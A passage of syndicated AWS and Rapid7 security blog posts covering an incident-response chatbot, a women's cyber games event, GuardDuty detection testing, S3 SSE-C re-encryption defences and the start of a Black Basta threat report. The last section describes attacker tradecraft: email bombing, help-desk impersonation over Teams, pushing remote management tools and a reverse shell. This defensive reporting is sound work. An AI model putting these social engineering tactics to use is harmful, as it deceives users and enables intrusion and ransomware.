  1. Acquire, preserve, and document evidence – Identify indicators of compromise, determine attack vector, document impacted applications/users
  2. Contain the incident – Isolate the compromised instance if possible without service disruption, remove from auto-scaling group if applicable
  3. Eradicate the incident – Follow the steps to remove the malware/crypto miner, restore from known good backups/AMIs
  4. Recovery – Spin up new instances from trusted AMIs, restore the data, and monitor for persistence of the threat
  5. Lessons learned – Analyze the incident, identify root causes, and implement preventative measures

The playbook provides detailed guidance on each of these phases in the context of an EC2 ransomware incident, but the overall process can be adapted for investigating crypto mining, malware, or other threats on EC2 as well.

The question and response are shown in Figure 5.

Figure 5: Response for EC2 IR playbooks

Figure 5: Response for EC2 IR playbooks

The previous threat-hunting exercise identified two EC2 instances that had vulnerabilities present. After further investigation, if a security analyst believes the EC2 instance is compromised, they can ask for an IR playbook to respond to the security event. Once they determine which playbook makes the most sense, they can either click on the S3 URL or look at other playbooks to use.

Question 2: Do I have any playbooks that would help respond to ransomware in my S3 bucket?

Answer 2: Yes, the search results include a playbook that can help respond to a ransomware incident involving an S3 bucket. The “Incident Response Playbook Template for Unintended Access to an Amazon S3 Bucket” outlines steps for:

  1. Gathering evidence of the unintended access
  2. Containing the incident by restricting access to the affected bucket(s)
  3. Eradicating the issue by removing any malicious data/objects and restoring from backup
  4. Recovering by re-enablement access to the bucket for legitimate users
  5. Conducting post-incident activities like reviewing logs, determining root cause, and implementing preventative measures

While focused on generic unintended access rather than ransomware specifically, many of these steps could be adapted and applied to a ransomware scenario targeting data in S3. The playbook provides a solid framework for incident response on S3.

Additionally, the general “Ransomware Incident Response Playbook” template covers common steps for any ransomware incident, such as:

  1. Acquiring and preserving evidence of the ransomware infection
  2. Containing the incident by isolating affected systems
  3. Identifying and remove the ransomware
  4. Recovering data from backups or known good sources
  5. Conducting post-incident review

While not S3-specific, this playbook provides complementary guidance that could be used in conjunction with the S3 access playbook for an S3 ransomware incident.

The question and response are shown in Figure 6.

Figure 6: Response for S3 ransomware IR playbooks

Figure 6: Response for S3 ransomware IR playbooks

The response provides a high-level overview of the specific playbook that’s being referenced to provide the analyst with context before diving deeper into any single playbook.

Adding functionality to the security chatbot

This sample solution was developed to show the art of the possible. Each customer uses AWS resources to address their business needs in their own way, and security teams must be appropriately equipped to help secure their respective environments. Here are some possible enhancements that you can incorporate into the sample solution to align to your security use-cases and needs.

  1. Incorporate an Amazon DynamoDB table to use as part of reporting interactions tied to a specific event or finding GUID. By incorporating an audit trail, you can tie actions taken by the agent and associated resources to a security event and validate the outcome of the investigation before taking action.
  2. Tuning the backend chatbot agent to query Amazon Linux Security Center’s Common Vulnerabilities and Exposures (CVE) list or MITRE’s CVE list to see which AWS resources might be in scope and send out consolidated messages to resource owners with recommended actions.
  3. Tuning the backend chatbot agent to take natural language requests and respond with detectors or correlation rules for Amazon OpenSearch or query language for custom detections in your security information and event management (SIEM) tool.
  4. Adding a new data source to Athena, such as AWS Config, to provide the analyst with additional capabilities to query AWS resource configuration across the AWS environment that might have been impacted by a security event. For example, if a security finding shows that an S3 bucket has been made public, querying what and when other configuration changes were made to the S3 bucket.
  5. Incorporating multi-agent-orchestration to scale the use of multiple Amazon Bedrock agents that can be tuned towards niche security use cases by respective teams. The chatbot can speak directly to a classifier or controller, which then addresses the user’s natural language request and orchestrates across one or more agents to generate a response. For example, if a user asks which EC2 instances might have been impacted by a security event and which playbook to use to respond, the classifier agent could direct the initial query to the agent in this sample solution. In the same chat window, the analyst could ask if there are any open CVEs for the EC2 instances in scope to get a list of CVEs to address within the AWS account.
  6. For long running Athena queries, you can incorporate an AWS Step Function to the workflow and incorporate a task token to wait for the Athena results to return.

Clean up

If you deployed the security chatbot sample solution by using the Launch Stack button and the console with the CloudFormation template security_genai_chatbot_cfn, do the following to clean up:

  1. In the CloudFormation console for the account and Region where you deployed the solution, choose the SecurityGenAIChatbot stack.
  2. Choose the option to Delete the stack.

If you deployed the solution by using the AWS CDK, run the command cdk destroy --all.

Conclusion

The sample solution demonstrates how you can use task-oriented Amazon Bedrock agents and natural language input to help accelerate investigation and analysis and increase your overall security posture. We provided an example of a sample solution with a user interface that is powered by an Amazon Bedrock agent, which you can extend to add additional task-oriented agents, each with their own instructions, knowledge bases, and models. By extending the use of AI-powered agents, you can help your security team operate more efficiently across multiple security domains within your AWS environment.

The backend for the chatbot to investigate security events uses Security Lake, which normalizes data into Open Cybersecurity Schema Framework (OCSF); as long as the data schema is normalized, the solution can be applied to other data lakes within your AWS environment.

To learn more, see the other posts in this series:

Use the comments section to provide feedback. If you have questions about this post, start a new thread on the Generative AI on AWS re:Post or contact AWS Support.

Madhunika-Reddy-Mikkili

Madhunika Reddy Mikkili

Madhunika is a Data and Machine Learning Engineer at AWS. She is passionate about helping customers achieve their goals using data analytics and machine learning.

Author

Jonathan Nguyen

Jonathan is a Principal Security Solution Architect at AWS. He helps large financial services customers develop a comprehensive security strategy and solutions to meet their security and compliance requirements in AWS.

Harsh Asnani

Harsh Asnani

Harsh is a Machine Learning Engineer at AWS specializing in ML theory, MLOPs, and production generative AI frameworks. His background is in applied data science with a focus on operationalizing AI workloads in the cloud at scale.

Michael Massey

Michael Massey

Michael is a Cloud Application Architect at AWS, where he specializes in building frontend and backend cloud-centered applications. He designs and implements scalable and highly-available solutions and architectures that help customers achieve their business goals.t

AWS empowers global security culture at Wicked6 Cyber Games

Post Syndicated from Anne Grahn original https://aws.amazon.com/blogs/security/aws-empowers-global-security-culture-at-wicked6-cyber-games/

Wicked6 Cyber Games 2025 brought hundreds of women together worldwide from March 28–30. This dynamic virtual competition, sponsored by Amazon Web Services (AWS), helped attendees tackle real-world cybersecurity challenges through e-sports experiences. With 72 hours of women talking about cybersecurity, 11 cybersecurity games, and an attack and defense tournament streamed live, the weekend-long event highlighted the value of immersive learning while investing in the next generation of cybersecurity leaders.

Now in its sixth year, Wicked6 has established itself as more than just a competition—it’s become a cornerstone in building a collaborative security community. The Women’s Society of Cyberjutsu, a national 501(c)(3) nonprofit that promotes training, mentoring, and advancement of women and girls in cybersecurity careers, has co-hosted the event since its inception. This year’s theme was leveling up, and the virtual format enabled unprecedented global participation with 31 speakers and over 500 participants of all skill levels from 48 countries.

Keynotes and sessions

The event kicked off with an upbeat introduction from Wicked6 emcee Kristin Demoranville, founder and CEO of AnzenSage, Jessica Gulick, Executive Director of Wicked6 and founder of Cyber Esports Foundation, and Mari Galloway, CEO of Women’s Society of Cyberjutsu. The trio emphasized the importance of programs such as Wicked6 that provide women with space and opportunities to learn and grow, strengthen our confidence, and celebrate each other’s contributions to the cybersecurity community.

Keynotes featuring speakers from Africa, Australia, Japan, Saudi Arabia, and the US resonated with the multinational participants. Topics ranged from hacking and protecting AI in the age of large language models (LLMs) to drawing inspiration from science fiction novels, with an eye toward boosting skills.

In his introduction to keynote speaker Anna Collard, SVP of Content Strategy and Evangelist at KnowBe4 Africa, Hart Rossman, Global Security Services Vice President at AWS, noted the positive impact of time invested by Wicked6 participants and supporters. He pointed out that the opportunity the event provides to build relationships and practice both soft skills and technical skills is a great example of what it means to build strong security culture.

“At AWS, we recognize that security is a team sport. It’s about building community and raising the bar together, so we can overcome determined adversaries and make all of our customers, colleagues, and communities safer.” —Hart Rossman, Global Security Services Vice President at AWS

Technical sessions included a presentation focused on safeguarding Amazon Simple Storage Service (Amazon S3) buckets by two AWS women in security, Customer Incident Response Team (CIRT) Responder Jennifer Paz and Worldwide Specialist Security Solutions Architect Shahna Campbell. Paz and Campbell detailed an unusual increase of data encryption events in S3 buckets that used an encryption method known as server-side encryption using client-provided keys (SSE-C). This activity, which was recently detected by the AWS CIRT team and its automated security monitoring systems, has been attributed to malicious actors who obtained valid customer credentials and were using them to re-encrypt objects. Paz and Campbell demonstrated how collective security awareness and best practices can help prevent unauthorized access to S3 buckets and protect against ransomware events that abuse stolen credentials. Details of their investigation and prescriptive guidance for helping to prevent unintended encryption of Amazon S3 objects are available in a related AWS Security Blog post.

Gamified learning

A security-focused AWS Jam was integrated into Wicked6 for a unique, gamified learning experience. With AWS Jam, individuals and teams compete to solve a series of technical challenges in a lab-based cloud infrastructure that enhances practical understanding of AWS services and best practices. Additionally, Wicked6 participants had access to 11 different cybergame services, including Hack The Box, Haiku, InspireTech, and MetaCTF, fostering a collaborative learning environment where security practitioners at all levels could grow together.

An AWS GameDay during the event also focused on enhancing cloud security skills. Led by AWS ProServe Security and AWS Support experts Jonas Buecker, Hicham Terkiba, and Makendran Gunasekaran, the games focused on network security (including network log inspections), identity and access management (IAM) policies, and using application security techniques and AWS Web Application Firewall (AWS WAF) to help prevent SQL injections. One participant enthusiastically commented, “This was an amazing opportunity to practice hands-on AWS security learning,” underscoring the unique value of the experience.

Investing in tomorrow’s security leaders

AWS partnered to donate event tickets to South Africa’s MiDO Academy, which aims to create pathways out of poverty and meaningful employment opportunities for young people, while alleviating the pressures felt by business owners to upskill and integrate new cybersecurity talent. Dale Simons, CEO of MiDO Academy said, “The sponsored tickets from AWS didn’t just provide access to training—they gave our students entry into a global security community. Our young women now see themselves as part of a larger security mission, understanding that their contributions to cybersecurity can have worldwide impact.”

By combining technical challenges with mentorship and collaboration, Wicked6 helped participants work together to upskill and address tomorrow’s challenges. Gulick highlighted the event’s impact, stating “Wicked6 2025 was a success. Each year, women from all over the world join us for speakers, games, and networking. By learning to play cybersecurity games, these women can leverage games to learn new tech skills throughout their careers.”

No matter your role—whether you’re a seasoned professional or just starting your cybersecurity journey—continuous learning is key.

“It’s important as women and as cybersecurity professionals not to get comfortable with the status quo. Leveling up means stepping out of our comfort zones and doing things that scare us. Going to networking events, actively talking with people, connecting with people on LinkedIn, getting educated to improve skills, and putting ourselves out there. Wicked6 is the perfect place to do that this year and in the years to come!” —Mari Galloway, CEO of Women’s Society of Cyberjutsu

Pursuing the path to success

As cyber threats continue to evolve, AWS remains committed to strengthening global security culture through initiatives that promote active participation and partnership. This year’s Wicked6 Cyber Games exemplified how the security community can encourage and support future leaders with collaborative learning experiences and foster a more resilient and adaptable workforce.

For more information about AWS security culture, visit How AWS sustains a strong culture of security

If you have feedback about this blog post, submit comments in the Comments section below. You can also start a new thread on the AWS Security, Identity, and Compliance re:Post to get answers from the community.

Anne Grahn

Anne Grahn

Anne is a Senior Worldwide Security GTM Specialist at AWS, based in Chicago. She has 15 years of experience in the security industry and focuses on effectively communicating cybersecurity risk. She maintains a Certified Information Systems Security Professional (CISSP) certification.

Sarah Currey

Sarah Currey

As the Organization Excellence Leader for AWS Global Services Security, Sarah creates and optimizes security programs and solutions that protect AWS customers and internal teams. The initiatives foster a culture of security that encourages continuous improvement in our security practices and innovation while empowering everyone to own security.

Testing and evaluating GuardDuty detections

Post Syndicated from Marshall Jones original https://aws.amazon.com/blogs/security/testing-and-evaluating-guardduty-detections/

Amazon GuardDuty is a threat detection service that continuously monitors, analyzes, and processes Amazon Web Services (AWS) data sources and logs in your AWS environment. GuardDuty uses threat intelligence feeds, such as lists of malicious IP addresses and domains, file hashes, and machine learning (ML) models to identify suspicious and potentially malicious activity in your AWS environment. When GuardDuty identifies a potential security issue, it creates a GuardDuty finding that gives you information about what the potential security issue is, the resources involved, and contextualized information that’s key to remediating the issue. GuardDuty helps you monitor for the latest threats by continually expanding threat detection to emerging and common threats.

Whether you’re new to GuardDuty or are a long-time user, it’s recommended that you understand the different GuardDuty finding types and finding details and practice responding to them as suggested in the security pillar of AWS Well-Architected.

In this blog post, I dive deep into an open source tool for testing GuardDuty findings and then walk through three examples of how you can use this tool to test and improve your response to GuardDuty findings.

Overview

If you want to learn more about GuardDuty, you can read about the finding types in this AWS documentation. However, customers often want realistic findings in their environment to understand what a finding looks like and to practice responding hands on. While you can use GuardDuty to create sample findings in your environment, these findings are approximations populated with placeholder values and look different from real findings. Additionally, you cannot practice remediation with these findings because they’re not tied to actual resources in your account. This can be helpful if you only want to see what details are in a finding, but if you want to practice a real-world scenario, these sample findings might not be adequate.

To address this use case and provide customers with a secure and reliable way to test the threat detection capabilities of GuardDuty, the GuardDuty service team launched an open source project called GuardDuty Tester. The GuardDuty Tester creates infrastructure in your environment to simulate different security issues so that you can test GuardDuty findings that mirror actual security issues that you might encounter, such as crypto mining or a reverse shell being created on an Amazon Elastic Compute Cloud (Amazon EC2) instance. The GuardDuty Tester was originally released in 2018 as an AWS CloudFormation template and was focused more on testing investigation workflows than on a wide range of finding types. AWS has since released an updated version that uses the AWS Cloud Development Kit (AWS CDK) to make the infrastructure code easier to read and expanded the test coverage to over 100 unique finding types and resource combinations.

The ability to create findings across different resource types such as Amazon EC2, Amazon Simple Storage Service (Amazon S3), and Amazon Elastic Kubernetes Service (Amazon EKS) is a valuable resource for your security team, allowing them to simulate various types of threats with isolated infrastructure so that you don’t need to compromise your deployed workloads to improve response actions and techniques. Remember that the GuardDuty Tester doesn’t cover every possible scenario, but is instead focused on threat intelligence and rules-based findings. Anomaly-based findings, which require learning about how you operate your environment, aren’t included in the GuardDuty Tester.

Getting started with the GuardDuty Tester

The GuardDuty Tester is deployed by using the AWS CDK to create the required infrastructure and scripts to generate the GuardDuty findings. For safety, AWS recommends that you deploy the GuardDuty Tester in a nonproduction environment in an account that’s used specifically for this purpose. This way, your security team can differentiate between test GuardDuty findings and findings for other workloads that they’re monitoring.

In this post, I won’t walk through configuring the GuardDuty Tester because this is already documented in the GuardDuty documentation. Instead, I will go over what you need to know about the GuardDuty Tester and some of the benefits.

Figure 1 shows the GuardDuty Tester architecture, which includes the resources necessary to create GuardDuty findings for various protection plans such as Amazon S3 buckets, Amazon EC2 instances, and an Amazon EKS cluster. The tester also deploys a dedicated GuardDuty Tester instance where you will run the scripts needed to create the GuardDuty findings.

Figure 1: GuardDuty Tester architecture

Figure 1: GuardDuty Tester architecture

The GuardDuty Tester provides key features including:

  • A wide range of threat scenario simulations: Resources that the GuardDuty Tester can create findings for include Amazon S3, AWS Identity and Access Management (IAM), Amazon Elastic Container Service (Amazon ECS) for both Amazon EC2 and AWS Fargate hosted workloads, Amazon EKS, and AWS Lambda and covers over 105 threat scenarios. This includes GuardDuty runtime monitoring as well as other GuardDuty protection plans.
  • Access through AWS Systems Manager: The GuardDuty Tester provides secure access by using Systems Manager to minimize open ports to the internet and allowing access only through Systems Manager.
  • Modular scripts: With an expanded library of tests available, the GuardDuty Tester accepts user parameters to set the scope of the tests to run, which gives you greater flexibility for different testing scenarios.

Setting up the GuardDuty Tester environment is straightforward and requires only a few commands. As outlined in the documentation and the README file in the repository, there are a number of prerequisites to set up the stack. These prerequisites include Python 3+, git, the AWS Command Line Interface (AWS CLI), AWS Systems Manager Session Manager plugin, npm, Docker, and a subscription to Kali Linux image for Amazon EC2. You will have to subscribe to the Kali Linux instance in AWS Marketplace, but will be charged for the instance only while the GuardDuty Tester is deployed. After these prerequisites are met, you can clone the repository, install the packages, and deploy the GuardDuty Tester to your AWS account.

Deploying the GuardDuty Tester can take 20–30 minutes, but if you’re following along with this post, I assume that you have deployed the GuardDuty Tester into your environment and have started your Systems Manager session as stated on Part A of Step 3 – Run tester scripts in the GuardDuty documentation. Now, I will dive into the first testing example.

Manual investigation

The first test use case is about getting familiar with what GuardDuty findings look like and the details that a finding gives you. This might be one of your first steps after turning on GuardDuty, or this might be an activity that you perform to help new team members understand GuardDuty findings.

To start a manual investigation:

  1. Run the following command in your Systems Manager session to view the GuardDuty Tester options.
    Python3 guardduty_tester.py --help
  2. Run the following command in your Systems Manager session to create the first test finding.
    Python3 guardduty_tester.py - -ec2 - -runtime only - -tactics impact
  3. Before creating the findings, the GuardDuty Tester prompts you to confirm that it’s allowed to change GuardDuty settings in the environment. For example, if you’ve chosen to create findings related to the GuardDuty runtime monitoring feature but don’t have this feature enabled, the GuardDuty Tester will enable it for the tests and then disable it after testing is complete.

    Note: This will start the 30-day trial of the enabled features in this account, in this AWS Region, even if the feature is disabled after testing is complete. More information about GuardDuty pricing and free trials can be found on the GuardDuty pricing page.

  4. After choosing y which indicates “yes”, the GuardDuty Tester reports the number of domain reputation findings it’s expecting. Figure 2 shows an example of the expected findings. You can learn more about domain reputation findings in the GuardDuty finding documentation.

    Figure 2: Generated GuardDuty findings in the console

    Figure 2: Generated GuardDuty findings in the console

  5. After the GuardDuty Tester is finished, wait a few minutes and then go to the AWS Management Console for GuardDuty to see the findings. In this example, there are four new GuardDuty findings as expected from step 4 and shown in Figure 3. With the findings generated, you can start your manual investigation.

    Figure 3: GuardDuty finding details

    Figure 3: GuardDuty finding details

In the preceding figure, you can see some of the finding details presented—such as the action type and the process information—that can help you quickly identify what trigger started the suspicious communication. From here, I encourage you to use this finding to practice your runbooks for investigation and response. For example, you might start with validating and triaging the finding before moving into evidence collection and remediation. If you don’t have incident response runbooks already built, you can use this finding as an example to get started. There are multiple open source examples such as AWS incident response playbooks and AWS customer response playbook. A runbook will help your team evaluate the information provided in the GuardDuty finding and understand what else they need to know about your specific environment to properly respond to the finding. For example, in the finding, you will have resource and actor information but not things such as who is the account owner or point of contact for security for that account.

Creating alerts

The next use case highlights how to create alerts based on GuardDuty findings. When setting up alerting automation with tools such as Amazon Simple Notification Service (Amazon SNS) and Slack, you should create a finding using the GuardDuty Tester to test that you’ve configured your alert correctly. See Creating custom responses to GuardDuty findings for information about creating alerts with either of these tools. Figure 4 shows a sample EventBridge rule that will send GuardDuty findings to SNS.

Figure 4: EventBridge rule to send GuardDuty findings to SNS

Figure 4: EventBridge rule to send GuardDuty findings to SNS

For this post, I assume that you’ve already configured an Amazon EventBridge rule and Amazon SNS alert.

To test alerts:

  1. Run the following command in your Systems Manager session to create a privileged container finding.
    Python3 guardduty_tester.py - -finding ‘PrivilegedEscalation:Kubernetes/PrivilegedContainer’
  2. Shortly after creating this finding, you should see an SNS alert based on the finding type.

Figure 5: SNS notification from a GuardDuty finding

Figure 5: SNS notification from a GuardDuty finding

If you’ve configured the alert correctly, you will see an email similar to Figure 5. The email demonstrates that SNS notifications were successfully configured and tested using the GuardDuty Tester. If this is a new finding, you will receive this SNS notification shortly after the GuardDuty Tester generates the finding, but if this is an updated finding, then the timing will be based on the notification frequency configured in the account.

There are many ways that customers consume GuardDuty findings in their environments. Whether you’re using Amazon SNS or another mechanism such as a chat application, ticketing system, or a security information and event management (SIEM) solution, you can use this example of an EventBridge rule and the GuardDuty Tester to test out your notification pipeline.

Automated response

For the third use case, I show you how to create an automated action based on a GuardDuty finding. In this example, I create a finding based on an EC2 instance connecting to a Bitcoin mining domain, then based on this finding, I use Lambda to tag the instance to assist with identification during that investigation steps that follow. Although this is a simple example, it shows you what you can do by combining EventBridge rules and Lambda functions. If you want to create an automated response for GuardDuty runtime monitoring findings that requires making a host-level modification, you can use EventBridge rules with AWS Systems Manager Run Command to run commands locally on a host to remediate a security issue.

Start by creating a Lambda function that will take a GuardDuty event delivered by EventBridge, pull out the instance ID information, and then use that as a parameter in the create_tags API call. See the following example code.

import json
import boto3
import logging

logger = logging.getLogger()
logger.setLevel(logging.INFO)

def lambda_handler(event, context):
    try:
        # Extract the necessary information from the GuardDuty finding
        instance_id = event['detail']['resource']['instanceDetails']['instanceId']
        account_id = event['detail']['accountId']
        region = event['detail']['region']

        # Create an EC2 client
        ec2 = boto3.client('ec2', region_name=region)

        # Add the "infected" and "cryptomining" tag value pair to the instance
        ec2.create_tags(
            Resources=[instance_id],
            Tags=[
                {
                    'Key': 'infected',
                    'Value': 'cryptomining'
                }
            ]
        )

        logger.info(f"Tagged instance {instance_id} with 'infected=cryptomining' in account {account_id} and region {region}")
        return {
            'statusCode': 200,
            'body': 'Instance tagged successfully'
        }
    except Exception as e:
        logger.error(f"Error tagging instance {instance_id}: {str(e)}")
        return {
            'statusCode': 500,
            'body': f"Error tagging instance: {str(e)}"
        }

Next, I create an EventBridge rule specific to the Bitcoin mining finding that I want to test, shown in Figure 6. The target is the Lambda function that I just created.

Figure 6: EventBridge rule for crypto mining GuardDuty finding

Figure 6: EventBridge rule for crypto mining GuardDuty finding

Now that the EventBridge rule is in place with the Lambda function as the target, I can use the GuardDuty Tester to trigger a Bitcoin mining finding and test my solution with the following command.

Python3 guardduty_tester.py - - finding ‘CryptoCurrency:EC2/BitcoinTool.B!DNS’

After the finding is generated, I go to my EC2 instance, where there’s a new instance tag with a key of infected and a value of cryptomining, shown in Figure 7.

Figure 7: Updated tags after automated response

Figure 7: Updated tags after automated response

Although this is a general example, you can use the same approach across various actions that you might take in response to a GuardDuty finding and then test them using the GuardDuty Tester. Examples include using Lambda to add logic in AWS WAF, a network access control list (network ACL), or AWS Network Firewall to block suspicious traffic, or use Systems Manager Run Command to end a malicious process that’s running on a host.

Conclusion

The updated GuardDuty Tester represents a significant advancement in helping organizations validate and gain confidence in GuardDuty threat detection. The GuardDuty Tester now provides more comprehensive coverage of GuardDuty runtime monitoring and protection plans across various AWS services.

By using the GuardDuty Tester and following the use cases in this post, you can proactively assess your threat detection readiness, identify potential gaps, and implement necessary measures to help you fortify your AWS environments against evolving cyber threats.

 
If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.
 

Marshall Jones
Marshall Jones

Marshall is a Worldwide Security Specialist Solutions Architect at AWS. His background is in AWS consulting and security architecture and focused on a variety of security domains including edge, threat detection, and compliance. Today, he’s focused on helping enterprise AWS customers adopt and operationalize AWS security services to increase security effectiveness and reduce risk.

Preventing unintended encryption of Amazon S3 objects

Post Syndicated from Steve de Vera original https://aws.amazon.com/blogs/security/preventing-unintended-encryption-of-amazon-s3-objects/

At Amazon Web Services (AWS), the security of our customers’ data is our top priority, and it always will be. Recently, the AWS Customer Incident Response Team (CIRT) and our automated security monitoring systems identified an increase in unusual encryption activity associated with Amazon Simple Storage Service (Amazon S3) buckets.

Working with customers, our security teams detected an increase of data encryption events in S3 that used an encryption method known as server-side encryption using client-provided keys (SSE-C). While this is a feature used by many customers, we detected a pattern where a large number of S3 CopyObject operations using SSE-C began to overwrite objects, which has the effect of re-encrypting customer data with a new encryption key. Our analysis uncovered that this was being done by malicious actors who had obtained valid customer credentials, and were using them to re-encrypt objects.

It’s important to note that these actions do not take advantage of a vulnerability within an AWS service—but rather require valid credentials that an unauthorized user uses in an unintended way. Although these actions occur in the customer domain of the shared responsibility model, AWS recommends steps that customers can use to prevent or reduce the impact of such activity.

Using active defense tools, we have implemented automatic mitigations that will help to prevent this type of unauthorized activity in many cases. These mitigations have already prevented a high percentage of attempts from succeeding, without customers taking steps to protect themselves. However, the threat actors used valid credentials, and it is difficult for AWS to reliably distinguish valid usage from malicious use. Therefore, we recommend that customers follow best practices to mitigate risk.

We recommend that customers implement these four security best practices to protect against the unauthorized use of SSE-C:

  1. Block the use of SSE-C unless required by an application
  2. Implement data recovery procedures
  3. Monitor AWS resources for unexpected access patterns
  4. Implement short-term credentials

I. Block the use of SSE-C encryption

If your applications don’t use SSE-C as an encryption method, you can block the use of SSE-C with a resource policy applied to an S3 bucket, or by a resource control policy (RCP) applied to an organization in AWS Organizations.

Resource policies for S3 buckets are commonly referred to as bucket policies and allow customers to specify permissions for individual buckets in S3. A bucket policy can be applied using the S3 PutBucketPolicy API operation, the AWS Command Line Interface (CLI), or through the AWS Management Console. Learn more about how bucket policies work in the S3 documentation. The following example shows a bucket policy that blocks SSE-C request for a bucket called your-bucket-name>.

{
    "Version": "2012-10-17",    
    "Statement": [
        {
            "Sid": "RestrictSSECObjectUploads",
            "Effect": "Deny",
            "Principal": "*",
            "Action": "s3:PutObject",
            "Resource": "arn:aws:s3:::<your-bucket-name>/*",
            "Condition": {
                "Null": {
                    "s3:x-amz-server-side-encryption-customer-algorithm": "false"
                }
            }
        }
    ]
 }

RCPs allow customers to specify the maximum available permissions that apply to resources across an entire organization in AWS Organizations. An RCP can be applied by using the AWS Organizations UpdatePolicy API operation, the AWS Command Line Interface (CLI), or through the AWS Management Console. Learn more about how RCPs work in the AWS Organizations documentation. The following example shows an RCP that blocks SSE-C requests for buckets in the organization.

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "RestrictSSECObjectUploads",
      "Effect": "Deny",
      "Principal": "*",
      "Action": "s3:PutObject",
      "Resource": "*",
      "Condition": {
        "Null": {
          "s3:x-amz-server-side-encryption-customer-algorithm": "false"
        }
      }
    }
  ]
 }

II. Implement data recovery procedures

Without data protection mechanisms in place, data recovery times can be longer. As a data protection best practice, we recommend that you protect against data being overwritten and that you maintain a second copy of critical data.

Enable S3 Versioning to keep multiple versions of an object in a bucket, so that you can restore objects that are accidentally deleted or overwritten. It is important to note that versioning may increase storage costs, especially for applications that frequently overwrite objects in a bucket. In this case, consider implementing S3 Lifecycle policies to manage older versions and control storage costs.

Additionally, copy or take backups of critical data to a different bucket and perhaps to a different AWS account or AWS Region. To do this, you can use S3 replication to automatically copy objects between buckets. These buckets can reside in the same or in different AWS accounts, as well as in the same or in different AWS Regions. S3 replication also offers an SLA for customers that have more stringent RPO (Recovery Point Objective) and RTO (Recovery Time Objective) requirements. Alternatively, you can use AWS Backup for S3, which is a managed service that automates periodic backup of S3 buckets.

III. Monitor AWS resources for unexpected access patterns

Without monitoring, unauthorized actions on S3 buckets may go unnoticed. We recommend that you use tools such as AWS CloudTrail or S3 server access logs to monitor access to your data.

You can use AWS CloudTrail to log events across AWS services (including Amazon S3) and even combine logs into a single account to make them available to your security teams to access and monitor. You can also create CloudWatch alarms based on specific S3 metrics or logs to alert on unusual activity. These alerts can help you identify anomalous behavior quickly. You can also set up automation that uses Amazon EventBridge and AWS Lambda to automatically take corrective measures. See this topic in the S3 documentation for an example implementation of a setup used to scan all buckets across an organization and apply S3 Block Public Access.

IV. Implement short-term credentials

The most effective approach to mitigating the risk of compromised credentials is to never create long-term credentials in the first place. Credentials that do not exist cannot be exposed or stolen, and AWS provides a rich set of capabilities that alleviate the need to ever store credentials in source code or in configuration files.

IAM roles enable applications to securely make signed API requests from Amazon Elastic Compute Cloud (Amazon EC2) instances, Amazon Elastic Container Service (Amazon ECS), or Amazon Elastic Kubernetes Service (Amazon EKS) containers, or Lambda functions by using short-term credentials. Even systems outside the AWS Cloud can make authenticated calls without long-term AWS credentials by using the IAM Roles Anywhere feature. Additionally, AWS IAM Identity Center enables developer workstations to obtain short-term credentials backed by their longer-term user identities that are protected by Multi-factor Authentication (MFA).

All of these technologies rely on the AWS Security Token Service (AWS STS) to issue temporary security credentials that can control access to AWS resources without distributing or embedding long-term AWS security credentials within an application, whether in code or in configuration files.

Summary

Detecting unintended encryption techniques like this in your environment requires vigilance and support. In this post, we highlighted the most common indicators to look for. As your security teams work to constantly protect your environment, know that a number of teams at AWS—including the AWS Customer Incident Response Team (CIRT), Amazon Threat Intelligence, and services teams like the Amazon S3 team—are working diligently to innovate, collaborate, and share insights to help protect your valuable data.

In this post, we provided an update on this recent threat to customer data and highlighted four security best practices that customers can use to protect against the risk of bad actors using SSE-C to encrypt data by using lost or stolen AWS credentials.

As threat actor tactics evolve, our commitment to customer security remains unwavering. Together, we are building a more secure cloud environment, allowing you to innovate with confidence.

If you ever suspect unauthorized activity, please don’t hesitate to contact AWS Support immediately.

Steve de Vera
Steve de Vera

Steve is a manager in the AWS Customer Incident Response Team (CIRT) with a focus on threat research and threat intelligence. He is passionate about American-style BBQ and is a certified competition BBQ judge. He has a dog named Brisket.
Jennifer Paz
Jennifer Paz

Jennifer is a Security Engineer with over a decade of experience, currently serving on the AWS Customer Incident Response Team (CIRT). Jennifer enjoys helping customers tackle security challenges and implementing complex solutions to enhance their security posture. When not at work, Jennifer is an avid walker, jogger, pickleball enthusiast, traveler, and foodie, always on the hunt for new culinary adventures.

Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware

Post Syndicated from Tyler McGraw original https://blog.rapid7.com/2024/12/04/black-basta-ransomware-campaign-drops-zbot-darkgate-and-custom-malware/

Executive Summary

Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware

Beginning in early October, Rapid7 has observed a resurgence of activity related to the ongoing social engineering campaign being conducted by Black Basta ransomware operators. Rapid7 initially reported the discovery of the novel social engineering campaign back in May, 2024, followed by an update in August 2024, when the operators updated their tactics and malware payloads and began sending lures via Microsoft Teams. Now, the procedures followed by the threat actors in the early stages of the social engineering attacks have been refined again, with new malware payloads, improved delivery, and increased defense evasion.

Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware

Overview

The social engineering attacks are still initiated in a similar manner. Users within the target environment will be email bombed by the threat actor, which is often achieved by signing up the user’s email to numerous mailing lists simultaneously. After the email bomb, the threat actor will reach out to the impacted users. Rapid7 has observed the initial contact still occurs primarily through usage of Microsoft Teams, by which the threat actor, as an external user, will attempt to call or message the impacted user to offer assistance. The account domains in use include both Azure/Entra tenant subdomains (e.g., username[@]tenantsubdomain[.]onmicrosoft[.]com) and custom domains (e.g., username[@]cofincafe[.]com).

In many cases, Rapid7 has observed that the threat actor will pretend to be a member of the target organization’s help desk, support team, or otherwise present themself as IT staff. Below are examples of Microsoft Teams display names observed, by Rapid7, to be in use by operators. The display names may or may not be padded with whitespace characters. Rapid7 has also observed threat actors use a first and last name, as the chat display name and/or account username, to impersonate an IT staff member within the targeted organization.

Operator Chat Display Name
Help Desk
HELP DESK
Help Desk Manager
Technical Support
Administracion

If the user interacts with the lure, either by answering the call or messaging back, the threat actor will attempt to get the user to install or execute a remote management (RMM) tool, including, but not limited to, QuickAssist, AnyDesk, TeamViewer, Level, or ScreenConnect. Rapid7 has also observed attempts to leverage the OpenSSH client, a native Windows utility, to establish a reverse shell. In at least one instance, the threat actor shared a QR code with the targeted user. The purpose of the QR code is unconfirmed but appears to be an attempt to bypass MFA after stealing a user’s credentials. The URL embedded within the QR code adheres to the following format: hxxps://<company_name>[.]qr-<letter><number>[.]com.

Black Basta Ransomware Campaign Drops Zbot, DarkGate, and Custom Malware
